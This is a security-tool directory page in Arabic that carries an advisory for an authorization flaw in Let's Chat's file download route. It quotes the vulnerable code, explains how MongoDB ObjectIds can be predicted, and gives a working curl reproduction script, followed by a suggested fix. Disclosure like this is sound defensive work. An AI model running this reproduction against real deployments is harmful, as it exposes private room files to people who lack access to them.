Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-66750-Insufficient-Access-Controls-Allow-for-Unauthorized-File-Downloads-Let-s-Chat- — استشارة أمنية: ضوابط الوصول غير الكافية تسمح بتنزيل الملفات غير المصرح به (Let's Chat) | Kitploit
أدوات/GitHubGitHub/theopaid/cve-2026-66750-insufficient-access-controls-allow-for-unauthorized-file-downloads-let-s-chat-
المصادقة والترخيصتحليل الثغرات الأمنيةأمن الويبسوء التكوينالتعلم والتعليم
GitHubtheopaid/cve-2026-66750-insufficient-access-controls-allow-for-unauthorized-file-downloads-let-s-chat-

CVE-2026-66750-Insufficient-Access-Controls-Allow-for-Unauthorized-File-Downloads-Let-s-Chat-

استشارة أمنية: ضوابط الوصول غير الكافية تسمح بتنزيل الملفات غير المصرح به (Let's Chat)

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
منذ 23 أياملم تتم المراجعة بعد

استشارة أمنية: ضوابط وصول غير كافية تسمح بتنزيل ملفات غير مصرح به (Let's Chat)

معرّف CVE المعيّن: CVE-2026-66750

ملخص

يتحقق GET /files/:id/:name من أن المتصل قد سجّل الدخول ثم يقدّم الملف. لكنه لا يتحقق أبدًا مما إذا كان المتصل مخوّلًا لرؤية الغرفة التي ينتمي إليها الملف.

وبالتالي يمكن لأي حساب قراءة المرفقات من الغرف الخاصة والمحمية بكلمة مرور والتي ليس عضوًا فيها، ويحتفظ المستخدمون الذين أُلغيت صلاحية وصولهم إلى غرفة ما بروابط تنزيل تعمل لكل ملف تم رفعه بينما كان لديهم حق الوصول.

نقطة نهاية قائمة الملفات الموجودة في نفس المتحكم تتحقق فعلاً من العضوية، وهو ما تفتقده نقطة نهاية التنزيل.

الإصدارات المتأثرة

رابط المستودع: https://github.com/sdelements/lets-chat

الإصدارات المعرضة للثغرة: من 0.3.0 (الالتزام 55e8833، 24 يناير 2015، "Files backend") حتى 0.4.8، الإصدار النهائي. لا يوجد إصدار مصحح.

الغرف الخاصة والمحمية بكلمة مرور ظهرت في 0.4.0، وبالتالي فإن حد السرية الذي تُخرقه هذه الثغرة موجود منذ 0.4.0 فصاعدًا.

تتطلب files.enable: true، وهي معطّلة في defaults.yml ولكنها مفعّلة في كثير من عمليات النشر، لأن مشاركة الملفات ميزة موثقة.

تم تأكيدها على 0.4.8 عند الالتزام 617207f، وعلى docker.io/sdelements/lets-chat:latest (0.4.7).

التصنيف

CWE-639: تجاوز التفويض عبر مفتاح يتحكم فيه المستخدم. وأيضًا CWE-862، نقص التفويض.

درجة CVSS 4.0 الأساسية 5.3 (متوسطة) CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

نموذج التهديد

يحتاج المهاجم إلى حساب مستخدم عادي واحد، ووصولًا عبر الشبكة إلى منفذ HTTP، ومعرّف ObjectId لملف. التسجيل الذاتي مفعّل افتراضيًا.

المعرّف ليس سرًا عمليًا. فأي شخص كان عضوًا في الغرفة في أي وقت يمتلكه بالفعل، لأن files:list ورسالة upload://files/<id>/<name> التي تُنشر عند الرفع كلاهما يكشفانه. إزالة الوصول لا تُبطله، ولا يوجد انتهاء صلاحية أو توقيع على الرابط.

أما المهاجم الذي لا سجل له في الغرفة المستهدفة، فعليه تخمين المعرّف. وهو ObjectId من MongoDB وليس UUID، وجزء قليل جدًا منه لا يمكن التنبؤ به:

root@kitploit:~
6a65092c fa7876 0001 34649e
    |       |     |     |
    |       |     |     +--- 3 byte counter, increments by one per document
    |       |     +--------- 2 byte process id
    |       +--------------- 3 byte machine id, fixed for the life of the process
    +----------------------- 4 byte Unix timestamp, one second resolution

كل شيء ما عدا العداد ثابت طوال عمر عملية الخادم، والعداد تسلسل واحد مشترك بين كل المجموعات. لذلك فالمهاجم الذي يرفع ملفًا واحدًا خاصًا به يتعلم معرف الجهاز ومعرف العملية وموضع العداد الحالي، وكل ملف يرفعه أي شخص آخر يقع على مسافة قصيرة في ذلك التسلسل. ثمانية عمليات رفع متتالية على sdelements/lets-chat:latest:

root@kitploit:~
6a65092c fa7876 0001 34649e
6a65092c fa7876 0001 34649f
6a65092c fa7876 0001 3464a0
6a65092c fa7876 0001 3464a1
6a65092c fa7876 0001 3464a2
6a65092c fa7876 0001 3464a3
6a65092c fa7876 0001 3464a4
6a65092c fa7876 0001 3464a5

التفاصيل الفنية

مسار التنزيل يطبّق requireLogin ولا شيء غيره. app/controllers/files.js:59-92:

root@kitploit:~
app.route('/files/:id/:name')
    .all(middlewares.requireLogin)
    .get(function(req, res) {
        models.file.findById(req.params.id, function(err, file) {
            if (err) {
                // Error
                return res.send(400);
            }

            if (!file) {
                return res.send(404);
            }

            var isImage = [
              'image/jpeg',
              'image/png',
              'image/gif'
            ].indexOf(file.type) > -1;

            var url = core.files.getUrl(file);

            if (settings.provider === 'local') {
                res.sendFile(url, {
                    headers: {
                        'Content-Type': file.type,
                        'Content-Disposition': isImage ? 'inline' : 'attachment'
                    }
                });
            } else {
                res.redirect(url);
            }

        });
    });

يتم تحميل file.room ثم لا يتم الاطلاع عليه أبدًا.

مسار القائمة في الميزة نفسها يفحص العضوية. app/core/files.js:156-175:

root@kitploit:~
Room.findById(options.room, function(err, room) {
    ...
    var opts = {
        userId: options.userId,
        password: options.password
    };

    room.canJoin(opts, function(err, canJoin) {
        ...
        if (!canJoin) {
            return cb(null, []);
        }

إذن التطبيق يمتلك بالفعل الفحص الذي يحتاجه (Room.canJoin، المُعرّف في app/models/room.js:130)؛ لكن مسار التنزيل لا يستدعيه.

إعادة الإنتاج

يتطلب files.enable: true و rooms.private: true (LCB_FILES_ENABLE=true LCB_ROOMS_PRIVATE=true).

root@kitploit:~
BASE=http://localhost:5000

for U in owner insider; do
  curl -s -X POST $BASE/account/register \
    -H 'Content-Type: application/json' \
    -d "{\"username\":\"$U\",\"email\":\"[email protected]\",
         \"password\":\"Passw0rd!23\",\"password-confirm\":\"Passw0rd!23\",
         \"firstName\":\"$U\",\"lastName\":\"T\",\"displayName\":\"$U\"}"
  curl -s -c $U.txt -X POST $BASE/account/login \
    -H 'Content-Type: application/json' \
    -d "{\"username\":\"$U\",\"password\":\"Passw0rd!23\"}"
done

# 1. The owner creates a private room and adds the insider. Note the room id.
curl -s -b owner.txt -X POST $BASE/rooms -H 'Content-Type: application/json' \
  -d '{"name":"Project","slug":"project","private":true}'
RID=<room id>
curl -s -b owner.txt -X PUT $BASE/rooms/$RID -H 'Content-Type: application/json' \
  -d '{"name":"Project","description":"","participants":"insider"}'

# 2. The owner uploads a file. Note the file id.
echo "CONFIDENTIAL-PRODUCT-ROADMAP" > roadmap.png
curl -s -b owner.txt -F "[email protected];type=image/png" $BASE/rooms/$RID/files
FID=<file id>

# 3. The owner revokes the insider.
curl -s -b owner.txt -X PUT $BASE/rooms/$RID -H 'Content-Type: application/json' \
  -d '{"name":"Project","description":"","participants":""}'

# 4. The insider is now correctly locked out of the room.
curl -s -b insider.txt "$BASE/files?room=$RID"
curl -s -b insider.txt "$BASE/messages?room=$RID"

# 5. But the file still downloads.
curl -s -b insider.txt "$BASE/files/$FID/roadmap.png"

تنطبق النتيجة نفسها على حساب لم يكن عضوًا في الغرفة أبدًا، إذا كان بحوزته معرّف الملف.

التأثير

يمكن لأي حساب على الخادم يملك معرّف الملف أو يمكنه استنتاجه أن يقرأ المرفقات في الغرف الخاصة والمحمية بكلمة مرور. إزالة شخص من غرفة خاصة، أو تغيير كلمة مرور الغرفة، لا يقطع وصوله إلى الملفات التي رُفعت مسبقًا، وأرشفة الغرفة لا تفعل ذلك أيضًا.

الإصلاح المقترح

قم بتحميل الغرفة وأعد استخدام الفحص الذي يؤديه files:list بالفعل. في app/controllers/files.js:62، بعد حارس if (!file):

root@kitploit:~
models.room.findById(file.room, function(err, room) {
    if (err || !room) {
        return res.sendStatus(404);
    }

    room.canJoin({ userId: req.user._id, password: req.param('password') },
                 function(err, canJoin) {
        if (err || !canJoin) {
            return res.sendStatus(404);
        }

        // existing sendFile / redirect logic
    });
});

إرجاع 404 بدلاً من 403 لمعرّف غير مصرح به يتجنب تأكيد وجود الملف.

تنزيل الأداة